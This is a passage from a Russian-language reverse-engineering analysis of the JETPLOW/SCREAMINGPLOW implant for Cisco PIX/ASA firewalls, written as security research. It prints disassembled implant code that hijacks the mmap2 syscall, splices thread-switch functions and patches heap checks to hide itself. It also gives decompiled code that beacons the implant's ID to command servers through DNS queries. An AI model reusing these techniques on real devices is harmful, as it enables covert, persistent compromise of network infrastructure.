    jz      short loc_DD2DD
    test    byte ptr [eax], 1 ; is present?
    jnz     short _exit_err

loc_DD2DD:
    mov     [eax], ecx        ; set PTE value
    add     edx, 1000h        ; move to next page
    cmp     edx, 0FFF80000h   ; done?
    jnz     short loc_DD2BB
    add     edi, 1
    mov     esi, 0
    cmp     edi, 2
    jnz     short loc_DD2B5
    mov     eax, cr3
    mov     cr3, eax
    mov     eax, 1
    jmp     short _exit_ok
; ...

Затем SCA производит в основном процессе поиск функции, пролог которой начинается с последовательности байт 55 53 65 57, что соответствует инструкциям push ebp, ebx, esi, edi. В основном процессе malina присутствует единственная функция с таким прологом (в качестве примера нами была использована прошивка версии 7.2.2 для PIX):

; `pix722.bin/malina.bin` @ 0x100110

_td_ctx_enter      proc near               ; CODE XREF: sub_113890+1F4
    push    ebp                            ; the search pattern is `55 53 56 57`
    push    ebx
    push    esi
    push    edi
    mov     eax, ds:13A8E80h
    mov     edx, [eax+1Ch]
    mov     [eax+1Ch], esp
    mov     esp, edx
    mov     ebp, [eax+20h]
    mov     ebx, [eax+24h]
    mov     esi, [eax+28h]
    mov     edi, [eax+2Ch]
    retn
_td_ctx_enter      endp

Непосредственно за функцией _td_ctx_enter следует функция _td_ctx_exit, куда далее кодом SCA будет установлен сплайс:

; `pix722.bin/malina.bin` @ 0x100130

_td_ctx_exit      proc near               ; CODE XREF: sub_1131B0:loc_1131DD
     mov     eax, ds:13A8E80h
     mov     edx, [eax+1Ch]
     mov     [eax+1Ch], esp
     mov     esp, edx
     mov     [eax+20h], ebp
     mov     [eax+24h], ebx
     mov     [eax+28h], esi
     mov     [eax+2Ch], edi
     pop     edi
     pop     esi
     pop     ebx
     pop     ebp
     retn
_td_ctx_exit      endp

Приведенные выше функции вызываются при смене контекста трэда.

Далее, посредством поиска в теле основного процесса перекрестных ссылок на строки "duart_open", "malloc" и "CHECKHEAPS...", SCA устанавливает адреса функций malloc и checkheaps. Функция malloc будет в дальнейшем использована для копирования FCA и FUA из BIOS Flash в RAM. Функция checkheaps будет пропатчена таким образом, чтобы скрыть изменения, которые SCA внесет в кодовую секцию основного процесса:

; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x357

;...
   lea     eax, ds:0DC60Dh                ; _td_ctx_ptr @ 0xC60D
   push    eax                            ; td_ctx_ptr
   call    large _find_td_ctx_enter
   add     esp, 4
   cmp     eax, 0                         ; eax <- _td_ctx_enter() ptr
   jz      clear_alarm_restore_exit
   mov     ds:0DC5FDh, eax                ; _td_ctx_enter_ptr @ 0xC5FD
   mov     edx, fs:dword_DFFF0
   mov     ebx, eax
   mov     ecx, 1Ch
   add     ebx, ecx
   cmp     edx, eax
   jb      short loc_DC39A
   cmp     edx, ebx
   jnb     short loc_DC39A
   add     eax, 20h ; ' '                 ; calculate _td_ctx_exit addr

loc_DC39A:                              
   mov     ds:0DC609h, eax                ; _td_ctx_exit_ptr @ 0xC609
   call    large _find_malloc
   cmp     eax, 0
   jz      clear_alarm_restore_exit
   mov     ds:0DC601h, eax                ; _malloc_ptr @ 0xC601
   mov     ebx, ds:0DC609h                ; _td_ctx_exit_ptr @ 0xC609
   mov     ecx, 0Bh
   add     ebx, ecx                       ; ebx = 0x10013B
   sub     eax, ebx                       ; calculate malloc offset relative to call insn address
   lea     edx, ds:0DC611h                ; _splice_pci_43 @ 0xC611
   mov     [edx+7], eax                   ; call 0x12345678
                                          ;      ^^^^^^^^^^ <- eax = malloc() ptr
   mov     eax, cr4
   push    eax
   mov     eax, cr3
   push    eax
   call    large _make_malina_text_rwx
   add     esp, 8
   cmp     eax, 0
   jz      clear_alarm_restore_exit
   call    large _patch_checkheaps
;...

Затем, после патчинга функции checkheaps, SCA изменит флаг доступа к страницам памяти, принадлежащим кодовой секции основного процесса, таким образом, чтобы разрешить туда запись. Далее SCA установит сплайс в функцию _td_ctx_exit:

; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x404

;...
    lea     edi, ds:0DC62Dh                     ; _td_ctx_exit_code @ 0xC62D
    mov     esi, ds:0DC609h                     ; _td_ctx_exit_ptr @ 0xC609
    mov     ecx, 24h                            ; '$'
    rep movs byte ptr es:[edi], byte ptr [esi]
    mov     edi, ds:0DC609h                     ; _td_ctx_exit_ptr @ 0xC609
    lea     esi, ds:0DC611h                     ; _splice_pci_43 @ 0xC611
    mov     ecx, 1Ch
    rep movs byte ptr es:[edi], byte ptr [esi]
    wbinvd
    mov     byte ptr ds:0DC5F0h, 1              ; _main_proc_infected @ 0xC5F0, 0x0000
;...

Код устанавливаемого сплайса:

; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x611

;...
    pushal
    push 0x10000
    call malloc             ; allocate 64 KiB for FCA and FUA
    push eax                ; pass ptr to allocated memory via stack
    mov dx, 0xcf8
    mov eax, 0x800078d0
    out dx, eax
    add edx, 4
    mov al, 0x43
    out dx, al              ; pass control back to SCA
;...

Указанный код выделит 64 KiB памяти под FCA и FUA, и далее передаст управление обратно в SCA посредством программного #SMI, который произведет копирование части FCA и FUA в выделенную память.

В завершение своей работы, SCA заменит адрес возврата таким образом, чтобы по возвращению из функции _td_ctx_exit управление было передано в SP Main. Передача управления осуществляется на функцию, расположенную по смещению 0x25E относительно начала релоцированной части FCA.

Общая схема процесса проникновения выглядит следующим образом:

Общая схема процесса проникновения в malina

Теперь в игру вступает SP Main. Как мы помним, основная задача загрузчика импланта, а значит, и SP Main – обеспечить выполнение кода из SUA (userarea).

В начале своей работы SP Main передает управление на загрузчик userarea, расположенный в FUA. В случае, если работа загрузчика увенчалась успехом, SP Main просто возвращает управление обратно в основной процесс – его работа на этом завершена. В противном случае, SP Main переходит в так называемый "аварийный режим работы", о котором мы подробнее расскажем в соответствующем разделе.

Проникновение в основной процесс lina (ASA)

Как мы помним, у SCA есть две задачи: организовать передачу управления на SP Main и создать мапинг BIOS Flash в user space. И обе решаются весьма элегантным способом – через подмену адреса обработчика системного вызова mmap2 в таблице syscall_table. Новый адрес в таблице указывает на код модифицированного обработчика, который до того был заботливо скопирован кодом SCA в адресное пространство ядра на место кода, осуществляющего перевод процессора в защищенный режим.

Адрес таблицы syscall_table извлекается из тела функции sysenter_entry, которая отвечает за обработку int 0x80 (syscall). Обработчик int 0x80 описывается дескриптором в IDT, который находится по смещению 0x400 относительно начала IDT.

; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x82F

; int __cdecl _fca_inject_lina(int a0, int a1, int cr3, int cr4, int zero, int idt_base)
; ...
    mov     eax, [ebp+idt_base]
    mov     [esp], eax                              ; va
    call    large _va2pa
    test    eax, eax                                ; eax = IDT phys addr
    jz      exit_bad
    mov     edx, [eax+404h]                         ; 0x404 – int 0x80 interrupt descriptor offset LO part
    mov     dx, 0
    movzx   eax, word ptr [eax+400h]                ; 0x400 – int 0x80 interrupt descriptor offset LO part
    mov     ebx, edx
    or      ebx, eax                                ; ebx <- int 128 handler va
; ...
    call    large _va2pa
    mov     [ebp+int80_handler_pa], eax
; ...
    mov     edx, [ebp+int80_handler_pa]
    cmp     byte ptr [edx], 0FFh                    ; ff 14 85 xx xx xx xx  call dword ds:xxxxxxxx[eax*4]
                                                    ; which stands for `call *sys_call_table(,%eax,4)`
                                                    ; see sysenter_entry() at `arch/i386/kernel/entry.S`
    jnz     short loop2_cont
    cmp     byte ptr [edx+1], 14h
    jnz     short loop2_cont
    cmp     byte ptr [edx+2], 85h
; ...
    mov     eax, [edx+3]                            ; ff 14 85 xx xx xx xx  call dword ds:xxxxxxxx[eax*4]
                                                    ;          ^^^^^^^^^^^ -> eax = syscall_table VA
    add     eax, 300h                               ; 300h is sys_mmap2 handler ptr offset relative to syscall_table base
    mov     [esp+_va], eax
    call    large va2pa
    mov     [ebp+sys_mmap2_pa], eax
; ...
    mov     ebx, [ebp+orig_sys_mmap2_handler_va]
    mov     edi, [ebp+kernel_rm_code_pa]
    mov     esi, 0FFF60000h                         ; FCA flash address
    mov     ecx, 87h                                ; SP sys_mmap2 code size
    rep     movs byte ptr es:[edi], byte ptr [esi]  ; it is safe to store SP sys_mmap2 code
                                                    ; in the kernel real-mode part of code
                                                    ; 'cause by the time the sys_mmap2 will be called
                                                    ; that code will not be called anymore
    mov     edx, [ebx]
    mov     eax, [ebp+kernel_rm_code_pa]
    mov     [eax+83h], edx                          ; store original sys_mmap2 VA in far jump
                                                    ; so that SP sys_mmap2 could actually use it
    mov     eax, [ebp+kernel_rm_ep]
    mov     ecx, [ebp+sys_mmap2_handler_ptr_pa]
    mov     [ecx], eax                              ; modify sys_mmap2 handler ptr within syscall_table
                                                    ; to make it point to SP sys_mmap2
    mov     eax, 0DCEC3h                            ; remember original sys_mmap2 VA for when SCA finishes it work
                                                    ; it could restore the original handler ptr within syscall_table
; ...
    mov     eax, 1                                  ; success
    jmp     short exit_ok
; ...

Таким образом, имплант "убивает" сразу двух "зайцев": получает возможность изменять аргументы вызова mmap2 "на лету" прозрачно для user space-процесса, а также может выполнять привилегированные инструкции. Через изменение аргументов mmap2 имплант способен смапить в адресное пространство процесса другую область файла и с другими флагами доступа. Поскольку целью SCA является создание мапинга BIOS Flash, необходимо, чтобы в качестве файлового дескриптора выступал открытый дескриптор /dev/mem. К счастью, единственный процесс, который использует mmap2 для создания мапинга из устройства /dev/mem по смещению 0xFF000 страниц – это lina.

// /tmp/asa831-k8-rootfs/asa/bin/lina @ 0x8AE9A10

//...
fd = primary_rom_fd;
if (!primary_rom_fd){
      fd = fopen("/dev/mem", "r+");
      primary_rom_fd = fd;
      if (!fd){
            printf("Error opening %sn", "/dev/mem");
            exit(1);
      }
}

_fileno = fileno(fd);
*(_DWORD *)(a2 - 20) = 0;
*(_DWORD *)(a2 - 16) = 0xFFC00000 / *(_DWORD *)(a2 - 32);
_primary_rom = sys_mmap2(*(void **)(a2 - 20), 0x80000u, 3, 1, _fileno, *(_DWORD *)(a2 - 20 + 4));

if (_primary_rom > 0xFFFFFF7E){
      *__errno_location() = -_primary_rom;
      LABEL_4:
      perror("mmap: error mapping primary rom");
      exit(1);
}
//...

Как можно видеть в коде, lina для каких-то своих целей создает мапинг первых 512 KiB BIOS Flash. Несмотря на то, что в указанную область попадают разделы FCA, FUA и SUA, размер мапинга всё равно будет увеличен до 1 MiB внутри модифицированного обработчика mmap2, а также будет дано разрешение на выполнение кода из смапленной области памяти. Таким образом решается задача доставки указанных компонентов в адресное пространство процесса lina.

Теперь необходимо обеспечить передачу управления на SP Main. Здесь на помощь приходит тот факт, что код обработчика mmap2 выполняется с привилегиями ядра, следовательно, имеет доступ к привилегированным инструкциям для работы с портами ввода/вывода, что, в свою очередь, позволяет организовать передачу управления обратно на код SCA посредством программного #SMI.

; `bin/asa5505/SCP28/asa5505_patch60000.bin` offset 0x063

; ...
    push    eax             ; eax <- mapped address
    mov     dx, 0CF8h
    mov     eax, 800078D0h
    out     dx, eax         
    mov     dx, 0CFCh
    mov     al, 42h         ; this will signal SCE that sys_mmap2() has 
                            ; triggered this #SMI
    out     dx, al          
    pop     eax
    retn                    ; this will return to SP Main EP
; ...

Далее SCA определяет, где в стэке ядра находится адрес sysenter_ret (адреса, по которому будет передано управление при возврате из обработчика системных вызовов), и подменяет его на адрес кода SP Main. Затем SCA возвращает управление ядру посредством RSM, которое завершает обработку системного вызова и передает управление на код SP Main, который, в свою очередь, находится в адресном пространстве основного процесса:

; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x2D1

; ...
    mov     ecx, [edi+esi*4+30h]        ; ecx <- sysenter_ret
    mov     [eax+4], ecx                ; 62000 will return to where sysenter should have been
    mov     [edi+esi*4+3Ch], ebx
    mov     dword ptr [eax], 0
    mov     eax, [edi+4]                ; eax <- sys_mmap2 ret addr
    mov     fs:_mmap2_ret, eax
    mov     eax, [edi]                  ; eax <- mapped memory va?
    mov     fs:_ss_eax, eax
    add     eax, 62000h
    add     eax, 0
    mov     [edi+esi*4+30h], eax        ; syscall will return to 62000
    mov     edx, fs:_ss_esp
    add     edx, 8
    mov     fs:_ss_esp, edx
; ...

Общая схема процесса проникновения выглядит следующим образом:

Общая схема процесса проникновения в lina

Процесс работы кода SP Main, на который теперь будет передано управление, аналогичен тому, который был описан в предыдущем разделе для основного процесса malina. Отличия состоят в расположении точки входа (в случае с lina точка входа расположена по смещению 0x62200 относительно начала мапинга BIOS Flash), и в коде "аварийного режима работы", который будет рассмотрен далее.

Аварийный режим работы импланта

В аварийный режим работы имплант переходит в случае, если загрузчик из FUA по каким-то причинам не смог обеспечить загрузку userarea. Подобное развитие событий происходит, как правило, по причине отсутствия в SUA информации о текущей версии основного процесса. Например, загрузочный образ межсетевого экрана был обновлен до более поздней версии, информации о котором не существовало на момент сборки импланта). В таком режиме SP Main из имеющихся функций для работы с сетью, которые точно присутствуют в коде основного процесса, собирает средства для связи с C&C, чтобы сообщить ему: "Хьюстон, у нас проблемы. Это какая-то неправильная Lina. Что мне делать?".

Дальнейшее развитие событий зависит от того, в каком окружении происходит работа. Несмотря на то, что код для коммуникации с C&C един для всех версий основного процесса, механизм сбора информации об окружении целиком зависит от конкретной версии основного процесса.

Здесь имеет смысл более подробно рассмотреть алгоритм действий импланта в случае, если основным процессом оказалась lina. В это случае SP Main придется самостоятельно выполнить часть работы по переносу FCA и FUA в RAM и установке сплайса в тело функции _td_ctx_enter, в то время как для процесса malina эти действия были выполнены еще на этапе SCA. Кроме того, SP Main предстоит установить базовый адрес загрузки lina путем анализа информации, полученной из ОС. В случае с процессом malina в этом нет необходимости, так как версия всегда доступна по постоянному адресу 0x100040.

Первым делом SP Main переносит своё тело (FCA) и PBD Header из смапленного пространства BIOS Flash в anonymous mapping внутри адресного пространства процесса.

Далее SP Main определяет адрес загрузки образа основного процесса. Для этого он парсит /proc/self/maps и извлекает из него информацию о базовом адресе загрузки lina.

Теперь, зная адрес загрузки ELF-образа основного процесса, SP Main производит поиск функции _td_ctx_enter по алгоритму, аналогичному использованному SCA в случае, если основным процессом является malina (по сигнатуре пролога 55 53 65 57).

Затем при помощи системного вызова mprotect с памяти, где расположена данная функция, снимается защита от записи, и в тело функции внедряется сплайс, который передаст управление обратно в SP Main при переключении контекста выполнения.

Все процессы, которые будут описаны далее, выполняются одинаково как для lina, так и для malina.

При получении управления из установленного в _td_ctx_enter сплайса, SP Main производит поиск в адресном пространстве процесса функционала, необходимого ему для дальнейшей работы. В неполный состав искомых функций входят функции: для работы с сетью (socket, bind, sendto, close, etc.); для получения информации о сетевых интерфейсах (сбор статистики, конфигурация, etc.); для работы с SNMP (определение сетевого окружения); для работы с syslog и другие.

Поиск указанных функций осуществляется через перекрестные ссылки на строки, которые уникальны и характерны для искомых функций. Код, который осуществляет поиск, в своей совокупности занимает чуть ли не большую часть FCA (см. код данной функции в FCA по смещению 0x2D60).

Затем, после сбора всей нужной информации, имплант устанавливает новый сплайс в main перехваченного потока. Задачей сплайса является передача управления на код, ответственный непосредственно за организацию обратного канала связи с C&C, чистку логов и прочие действия.

Коммуникация с имплантом

Протокол коммуникаций в контексте модели OSI

Наиболее наглядным способом рассмотрения модели коммуникации между имплантом и C&C нам представляется рассмотрение с точки зрения модели OSI.

На сетевом уровне используются протоколы IPv4 и IPv6, в зависимости от конфигурации импланта.

На транспортном уровне используется протокол UDP. Номер исходящего порта имплант выбирает из промежутка PBD_Header.min_src_port – PBD_Header.max_src_port. В качестве номера порта назначения имплант принимает исходящий порт из первого пакета, принятого от C&C.

На сеансовом уровне сообщения представляются в виде так называемых Bening-пакетов, несущих в себе некоторую метаинформацию о полезной нагрузке, непосредственно сами данные полезной нагрузки, а также ведения, необходимые принимающей стороне для сборки фрагментов полезной нагрузки в единое целое. Последнее необходимо ввиду того, что максимальный размер Bening-пакета равен 512 байт (BENIGNSIZE в терминах импланта), в то время, как размер полезной нагрузки может его превышать. Подробнее формат Bening-пакета мы рассмотрим в следующем разделе.

На уровне представления для защиты информации сторонами используются шифрование по алгоритму RC6 для защиты части Bening-пакета.

На прикладном уровне коммуникации осуществляются в формате "запрос – ответ". Инициатором запроса может выступать как сервер, так и имплант. Данные на прикладном уровне передаются в виде полезной нагрузки в составе Bening-пакетов.

Структура Bening-пакета

Структура Bening-пакета, на основании проведенного реверс-инжиниринга, представляется нам следующим образом:

struct BenignHeader {
    uint8_t type;                    /* request type */
    uint8_t padLength;               /* minimal size of BENIGN packet is 8 bytes, hence the padding */
    uint16_t pkt_ID;                 /* incremented with each new packet */
    uint32_t benign_payload_length;  /* payload size */ 
    uint32_t sequenceNumber;         /* sequential number of payload fragment */
    uint32_t ackNumber;              /* number of request packet for which this packet is response to */
};

struct BenignPacket {
    uint32_t cf_crc;                 /* some value as returned by Check_Function */
    uint32_t cv[2];                  /* initializtion vector for encryption */
    uint8_t salt[8];                 /* random salt */
    BenignHeader header;            /* payload header */
    uint8_t payload[0];              /* C.O. to the rescue */
}

Поле type содержит тип запроса/ответа, который передается в данном пакете.

Доступные типы пакетов (запросы и ответы):

  • HELLO
  • AUTH_RESP
  • CHALLENGE
  • ACK
  • ERROR
  • GOODBYE
  • READ
  • WRITE
  • MALLOC
  • FREE
  • EXEC
  • MOD_INFO
  • MOD_DATA
  • MOD_LIST
  • MOD_ACTIVATE
  • MOD_DEACTIVATE
  • MOD_REMOVE
  • COMMAND_ADD
  • COMMAND_LIST
  • BOX_INFO
  • FRAG_TYPE
  • LAST_IN_LIST

Поле padLength указывает на количество байт, которое используется в случае, если размер полезной нагрузки менее 8 байт. Это необходимо в следствии того, что размер блока, которым оперирует алгоритм RC6, равен 16 байтам (8 байт salt + 16 байт header = 24 байта, необходимо дополнить до 32 байт).

Поле pkt_ID содержит порядковый номер пакета в текущем сеансе коммуникации.

Поле benign_payload_length содержит размер полезной нагрузки в поле payload.

Поле sequenceNumber используются для сборки фрагментов одного запроса, размер полезной нагрузки которого превышает 512 байт.

Поле ackNumber используется, чтобы обозначить на какой именно запрос данный пакет содержит ответ.

Поле cf_crc, предположительно, используется на стороне импланта для быстрого определения, являются ли данные во входящем UDP-пакете Bening-пакетом.

Для защиты передаваемой информации часть пакета, которая начинается с поля BenignPacket2.salt, шифруется с применением алгоритма RC6. В качестве ключа для шифрования используется значение поля PBD_Header.default_key1. В качестве вектора инициализации используется значение поля cv, которое является первыми 16-байтами SHA-1 хэша, вычисленного на основе тех данных, к которым впоследствии применялось шифрование. Значение поля salt выбирается случайно на основании defauly_key1 и TSC.

Регистрация импланта на Beacon-сервере

В случае, если установка импланта была произведена с использованием физического доступа к устройству, либо если оператор потерял связь с имплантом, например, вследствие изменения внешнего IP-адреса устройства, имплант должен, по прохождению определенного промежутка времени, заново сообщить свои "координаты" на Beacon-сервер.

Для того, чтобы передать свой IP-адрес и идентификатор, имплант отправляет на выбранный Beacon-сервер стандартный DNS-запрос с единственной записью класса A (address record), содержащей доменное имя видаwww.subdomain.domain.com. Здесь domain – домен первого уровня, который, предположительно, не несет смысловой нагрузки и используются лишь для отвлечения внимания, а subdomain – зашифрованный идентификатор импланта.

Схожая технология используется, например, в Cobalt Strike для получения "отстука" с зараженных машин.

Код формирования DNS пакета:

// `bin/asa5505/SCP28/asa5505_patch60000.bin` offset 0x9670

// ...
memcpy(subdomain, _subdomin, 16);
dns_packet->query.www_sz = 3;
memcpy(dns_packet->query.www, aWww, 3);
dns_packet->query.subdomain_sz = 0x11;
dns_packet->query.subdomain[0] = 0x41;
memcpy(&dns_packet->query.subdomain[1], subdomain, 16);
dns_packet->query.domain_sz = _sizeof_pbd_domain;
memcpy(dns_packet->query.domain, _5400->domain_name, _sizeof_pbd_domain);
com = &dns_packet->query.domain[_sizeof_pbd_domain];
com->com_sz = 3;                                            // sizeof("com") without trailing x00
memcpy(com->com, aCom, 4);
com->qtype = rol_16_8(1);                                   // Type A query (host address)
qclass = rol_16_8(1);
ip_selector = (_5400->beacon_num & 1) == 0;
com->qclass = qclass;                                       // Class IN query (Internet address)

if ( ip_selector )
  daddr = _5400->beacon_secondary_IP;
else
  daddr = _5400->beacon_primary_IP;

// unsigned __int32 __usercall udp_send@<eax>(int a1@<eax>, int buf@<edx>, unsigned __int16 len@<cx>, unsigned int a4, __int16 sport, __int16 dport, unsigned int daddr)
udp_send(_5400, _5400->_send_buf, com + 9 - dns_packet, _5400->_const_FFFFFFFF, sport, 53, daddr);
// ...

При получении DNS-запроса Beacon-сервер определит IP-адрес импланта как исходящий адрес в заголовке IP-пакета и вычислит идентификатор импланта, исходя из расшифрованного значения subdomain.

При этом, следует отметить, что Beacon-сервер не посылает ответа на DNS-запрос, поэтому имплант продолжает попытки до тех пор, пока с ним не будет установлено соединение, либо количество попыток не превысит 400 на один цикл перезагрузки платформы.

Адреса Beacon-серверов чередуются между собой в зависимости от порядкого номера DNS-запроса: для четных номеров используется PBD_Header.primary_beacon_IP, а для нечетных – PBD_Header.secondary_beacon_IP.

Таким образом, на Beacon-сервере сохраняется вся необходимая информация, которая впоследствии будет использована оператором для установки соединения с имплантом. При это сам "отстук" будет скрыт в стандартном DNS-запросе, которые, как правило, в большом количестве проходят через любой межсетевой экран, установленный во внешнем периметре.

Несомненным преимуществом такого способа информирования является то, что в транзитном трафике Beacon-пакет ничем не будет выделяться среди обычных DNS-запросов.

При ближайшем рассмотрении, структура сгенерированного имени выглядит следующим образом:

www.[dev_id?][implant_id_enc][some_obf].[domain].com, где

  • dev_id? – символ 'A', что предположительно означает "ASA" (1 байт);
  • implant_id_enc – зашифрованный идентификатор импланта (8 байт);
  • some_obf – получается в результате обфускации implant_id_enc (8 байт);
  • domain – соответствует значению поля domain структуры PBD_Header (8 байт).

Код для генерации DNS-запросов находится файле bin/asa5505/SCP28/asa5505_patch60000.bin по смещению 0x9670.

Coming soon...

К сожалению, объем информации полученный в результате исследования импланта не представляется возможным полностью осветить в рамках одной статьи. Поэтому пытливого читателя ждет продолжение, в котором мы раскроем следующие темы:

  • Подробно разберем алгоритм работы DGA.
  • Проведем детальный анализ полезной нагрузки userarea.
  • Рассмотрим протокол взаимодействия импланта с оператором.

Противодействие импланту

Компания Cisco в своем официальном блоге предлагает ряд мер:

Скриншот блога blogs.cisco.com

Что можно сказать об этом?

Да, это все, конечно, хорошо и правильно, но будете ли вы доверять результатам вывода команд на скомпрометированном устройстве? Имплант без особых проблем может перехватывать нужные ему функции и в качестве результата выдавать то, что вы хотите увидеть: корректные контрольные суммы, оригинальный конфигурационный файл, «вычищенный до блеска» лог-файл и т.д.

Что касается команды verify, то внимательный читатель заметит, что она нацелена всего лишь на проверку целостности загрузочного образа, что абсолютно не имеет смысла делать на инфицированном устройстве, поскольку рассмотренный нами имплант работает исключительно в памяти. Проверка потенциально инфицированного устройства его же средствами и под его же управлением – довольно бесперспективная затея.

Что касается логов, то забегая чуточку вперед, стоит отметить, что JETPLOW в процессе своей работы без особых проблем их чистит.

Как быть?

В антивирусной индустрии давно придуманы такие средства, как загрузочные образы, с которых можно загрузиться и проверить всю текущую систему. Да, но одно – сделать это для обычного компьютера, и совсем другое – для проприетарной железки, которая с неохотой подгружает непонятные для неё загрузочные образы.

Мы сейчас над этим работаем и надеемся, что в ближайшее время выложим в открытый доступ такой образ для ОС ASA и исходные коды к нему, с помощью которых можно будет проверить свой межсетевой экран на предмет заражения JP/SCP. Использование подобного загрузочного образа становится возможным благодаря тому, что данный имплант не обладает никакими механизмами самозащиты.

А как же SecureBoot и Trust Anchor?

О данных механизмах защиты мы уже немного говорили в этой статье в разделе "Про заражение устройств Cisco". И мы думаем, вы уже сами способны ответить на этот вопрос, просто вспомнив, какой зоопарк устройств, архитектур и ОС у Cisco.

Вывод

Несмотря на отсутствие части файлов в опубликованном The Shadow Brokers архиве, мы пришли к следующим выводам:

  1. Данные от The Shadow Brokers соответствуют материалам, опубликованным Эдвардом Сноуденом, как мы указали в самом начале статьи.
  2. В разработке JETPLOW/SCREAMINGPLOW участвовало множество высококлассных специалистов, которыми была проделана огромная работа.
  3. Без аппаратной защиты (TPM) подобные JETPLOW могут появляться и дальше, поскольку программными средствами от этого не защититься.

Авторы статьи

  • Бажин Роман / nezl00y
  • Максим Малютин / danse

Автор: Digital Security

Источник

Поделиться новостью

* - обязательные к заполнению поля